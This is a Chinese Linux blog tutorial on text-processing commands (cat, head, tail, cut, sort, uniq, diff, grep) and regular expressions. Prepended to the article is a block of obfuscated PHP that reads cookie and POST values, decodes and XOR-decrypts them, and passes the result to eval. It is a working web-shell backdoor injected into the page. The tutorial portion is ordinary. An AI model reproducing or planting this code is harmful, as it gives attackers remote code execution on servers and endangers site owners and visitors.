$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 对文件数据操作命令 | Linux运维部落

对文件数据操作命令

对文件数据操作命令

  很多时候,我们都会去计算一次数据里头的的相同类型的数据总数或者查看特性的一些信息,在这个时候我们就需要排序与计算之类的命令来辅助,下面就是几个好用的操作文件数据命令。

文件查看命令:cat, tac

1.png

cat [OPTION]… [FILE]…

    对文件数据操作命令-E: 显示行结束符$

    -n: 对显示出的每一行进行编号

    -A:显示所有控制符

    -b:非空行编号

    -s:压缩连续的空行成一行 文件查看 5 分页查看文件内容

more: 分页查看文件

    more [OPTIONS…] FILE…

    -d: 显示翻页及退出提示

tac命令跟cat差不多,就是把cat命令的输出结果反过来。

less:一页一页地查看文件或STDIN输出

显示文件头/尾几行

head [OPTION]… [FILE]…

    -c #: 指定获取前#字节

    -n #: 指定获取前#行

    -#: 指定行数

如:

2.png

对文件数据操作命令

tail [OPTION]… [FILE]…

    -c #: 指定获取后#字节

    -n #: 指定获取后#行

    -#:

    -f: 跟踪显示文件新追加的内容,常用日志监控

切出文本内容与合并文本

cut [OPTION]… [FILE]…

    -d DELIMITER: 指明分隔符,默认tab

    -f FILEDS:

        #: 第#个字段

        #,#[,#]:离散的多个字段,例如1,3,6

        #-#:连续的多个字段, 例如1-6

        混合使用:1-3,7

   -c 按字符切割

   –output-delimiter=STRING指定输出分隔符

显示文件或STDIN数据的指定列

    cut -d: -f1 /etc/passwd

    cat /etc/passwd | cut -d: -f7

    cut -c2-5 /usr/share/dict/words

在这里如果我们想获得/etc/passwd文件中第一行的用户名所属组shell类型的时候就可以跟前面所学的结合起来

对文件数据操作命令3.png

paste 合并两个文件同行号的列到一行

paste [OPTION]… [FILE]…

    -d 分隔符:指定分隔符,默认用TAB

    -s : 所有行合成一行显示 paste f1 f2 paste

    -s f1 f2

收集文本统计数据wc

   如果你想知道一个文件里面有多少字,多少行,多少字符的话,那么就可以使用这个命令来完成。

计数单词总数、行总数、字节总数和字符总数

对文件数据操作命令4.png

    使用 -l 来只计数行数

    使用 -w 来只计数单词总数

    使用 -c 来只计数字节总数

    使用 -m 来只计数字符总数 11 文本排序sort

排序sort

这个命令可以帮我们排序,而且可以根据不同的数据类型排序。

把整理过的文本显示在STDOUT,不改变原始文件 $ sort [options] file(s)

对文件数据操作命令5.png

常用选项 :

     -r 执行反方向(由上至下)整理

    -n 执行按数字大小整理

    -f 选项忽略(fold)字符串中的字符大小写

    -u 选项(独特,unique)删除输出中的重复行

    -t : 选项使用:做为字段界定符

    -k X 选项按照使用c字符分隔的X列来整理能够使用多次 12 uniq

uniq命令

这个命令可以将重复的行删除只保留一个,由于这个命令是将重复的东西减少,所以要配合排序过的文件进行处理

从输入中删除重复的前后相接的行

uniq [OPTION]… [FILE]…

    -c: 显示每行重复出现的次数

    -d: 仅显示重复过的行

    -u: 仅显示不曾重复的行 连续且完全相同方为重复

常和sort 命令一起配合使用:

    sort userlist.txt | uniq -c

比较文件

比较两个文件之间的区别

  diff 命令的输出被保存在一种叫做“补丁”的文件中

使用 -u 选项来输出“统一的(unified)”diff格式文 件,最适用于补丁文件。

  patch 命令复制在其它文件中进行的改变

适用 -b 选项来自动备份改变了的文件

如:

  $ diff -u foo.conf-broken foo.conf-works > foo.patch

  $ patch -b foo.conf-broken foo.patch

Linux上文本处理三剑客

1、grep:文本过滤(模式:pattern)工具; grep, egrep, fgrep(不支持正则表达式搜索)

2、sed:stream editor,文本编辑工具;

3、awk:Linux上的实现gawk,文本报告生成器;

grep

    grep: Global search REgular expression and Print out the line. 作用:文本搜索工具,根据用户指定的“模式”对目标文 本逐行进行匹配检查;打印匹配到的行; 模式:由正则表达式字符及文本字符所编写的过滤条件

对文件数据操作命令6.png

grep [OPTIONS] PATTERN [FILE…]

grep命令选项

    –color=auto: 对匹配到的文本着色显示;

    -v: 显示不能够被pattern匹配到的行;

    -i: 忽略字符大小写

    -n:显示匹配的行号

    -c: 统计匹配的行数

    -o: 仅显示匹配到的字符串;

    -q: 静默模式,不输出任何信息

    -A #: after, 后#行

    -B #: before, 前#行

    -C #:context, 前后各#行

    -e:实现多个选项间的逻辑or关系 grep –e ‘cat ’ -e ‘dog’ file

    – w:整行匹配整个单词

    – E:使用ERE 19 正则表达式

正则表达式

  正则表达式就是处理字符串的方法,它是以行为单位来进行字符串的处理行为,正则表达式通过一些特殊符号的辅助,可以让用户轻易达到查找、删除、替换某特定字符串的处理程序。

REGEXP:由一类特殊字符及文本字符所编写的模式,其中有 些字符(元字符)不表示字符字面意义,而表示控制或通配 的功能

程序支持:grep, vim, less,nginx等

分两类: 基本正则表达式:BRE 扩展正则表达式:ERE grep -E, egrep

正则表达式引擎: 采用不同算法,检查处理正则表达式的软件模块 PCRE(Perl Compatible Regular Expressions)

元字符分类:字符匹配、匹配次数、位置锚定、分组

man 7 regex 20 基本正则表达式元字符

字符匹配:

    . : 匹配任意单个字符;

    [] : 匹配指定范围内的任意单个字符

    [^] :匹配指定范围外的任意单个字符

    匹配次数:用在要指定次数的字符后面,用于指定前面的字 符要出现的次数

    *:匹配前面的字符任意次,包括0次 贪婪模式:尽可能长的匹配 .*:任意长度的任意字符

    \?:匹配其前面的字符0或1次

    \+:匹配其前面的字符至少1次

    \{n\}:匹配前面的字符n次

    \{m,n\}:匹配前面的字符至少m次,至多n次

    \{,n\}:匹配前面的字符至多n次

    \{n,\}:匹配前面的字符至少n次

    位置锚定:定位出现的位置

    ^:行首锚定,用于模式的最左侧

    $:行尾锚定,用于模式的最右侧

    ^PATTERN$: 用于模式匹配整行

    ^$: 空行

    ^[[:space:]]*$ :空白行

    \< 或 \b:词首锚定,用于单词模式的左侧

    \> 或 \b:词尾锚定;用于单词模式的右侧

    \<PATTERN>:匹配整个单词

分组:

    \(\):将一个或多个字符捆绑在一起,当作一个整体进 行处理,如:\(root\)\+

    分组括号中的模式匹配到的内容会被正则表达式引擎记录 于内部的变量中,这些变量的命名方式为: \1, \2, \3, …

    \1: 从左侧起,第一个左括号以及与之匹配右括号之间 的模式所匹配到的字符

    实例:

    \(string1\+\(string2\)*\)

    \1: string1\+\(string2\)*

    \2: string2

    后向引用:引用前面的分组括号中的模式所匹配字符(而 非模式本身)

正则表达式元字符的定义

    ^ 行首

    $ 行尾

    . 任意单一字符

    [] []内任意单一字符

    [^] 除[]内任意单一字符

    * *前面字符重复不确定次数

    \+ \+前面字符重复一次以上不确定次数

    \? ?前面字符重复0或1次 \ 转义符

    .* 任意长度字符

    \{n\} 前面字符重复n次

    \{n,\} 前面字符重复n次以上

    \{m,n\} 前面字符重复m次和n次之间

    [:alpha:] 所有字母,包括大、小写

    [:alnum:] 所有字母和数字

    [:upper:] 所有大写字母

    [:lower:] 所有小写字母

    [:digit:] 所有数字

    [:punct:] 所有标点符号

    [:space:] 空格和Tab

egrep及扩展的正则表达式

egrep = grep -E

egrep [OPTIONS] PATTERN [FILE…]

扩展正则表达式的元字符:

字符匹配:

     . 任意单个字符

    [] 指定范围的字符

    [^] 不在指定范围的字符  

次数匹配:

    *:匹配前面字符任意次

    ?: 0或1次

    +:1次或多次

    {m}:匹配m次

    {m,n}:至少m,至多n次

位置锚定:

    ^ :行首

    $ :行尾

    \<, \b :语首

    \>, \b :语尾

分组:

    ()

    后向引用: \1, \2, …

    或者:

    a|b:a或者b

    C|cat: C 或cat

    (C|c )at:Cat 或cat

原创文章,作者:502795641,如若转载,请注明出处:http://www.178linux.com/30777

(0)
上一篇 2016-08-08 16:11
下一篇 2016-08-08 16:11

相关推荐

  • 译文-Symbolic一个基于func集中式管理平台[原创]

    Symbolic是一个开源的企业平台,旨在建立、配置和管理您的庞大分布式数据中心为目的开源框架,代表了目前最先进的数据中心解决方案的集中管理平台。 特征 属于RedHat认证协议栈的应用 具于func后端应用 支持 RHEL、Centos及Fedora 先进的拖放标签管理(Ajax) 提供Cobbler支持 灵活管理操作用户、主机 组和权限管理标记 先进的基…

    Linux干货 2015-03-27
  • 第一周博客作业

       第一次自己动手写博客,而不是转载或者收藏,还是满忐忑的,希望是一个好的开始,以下内容均为依照记忆或者说学习到的知识总结,之后会另写一篇博文根据网络查询到的更严谨完整的答案作为总结。一、描述计算机的组成及其功能。答:计算机主要有五个部分组成,分别是:运算器、控制器、存储器、输入设备、输出设备。  1、控制器为整个计算机工作中的核心,负责调度所有组件之间的…

    Linux干货 2016-12-04
  • 马哥Linux学习之Linux背景和主要发行版篇

        Linux是一种 类Unix计算机操作系统的统称,简单的说来就是Linux内核+GNU工程的各种工具和数据库。Linux包括各种Linux的发行版,其实也就是为达到不同的目的而制作(目的包括对不同计算机结构的支持,对一个具体区域或语言的本地化,实时应用或嵌入式)的不同版本。     Linux的由来….

    2015-03-19
  • shell脚本终结篇——数组

    数组定义: 变量:存储单个元素的内存空间 数组:存储多个元素的连续的内存空间,相当于多个变量的集合 数组名和索引: 索引:编号从0开始,属于数值索引 注意:索引可支持使用自定义的格式,而不仅仅是数值格式,自定义格式的数组即为关联数组,bash4.0版本之后开始支持 bash的数组支持稀疏格式(索引不连续) 声明数组: declare -a ARRAY_NAM…

    Linux干货 2016-08-24
  • SNAT,DNAT,端口转发

    利用iptables配置NAT

    2018-03-01
  • 数据库简介和简单操作

    数据库 数据库是数据的汇集,它以一定的形式存储在存储介质上 数据库的发展史 萌芽阶段:文件系统,使用磁盘文件来存储数据 初级阶段:第一代数据库,出现了网状模型、层次模型的数据库 中级阶段:第二代数据库,关系型数据库和结构化查询语言 高级阶段:新一代数据库,“关系-对象”型数据库 数据库管理系统和文件管理系统 文件管理系统的缺点是: 编写应用程序不方便 数据冗…

    2017-12-04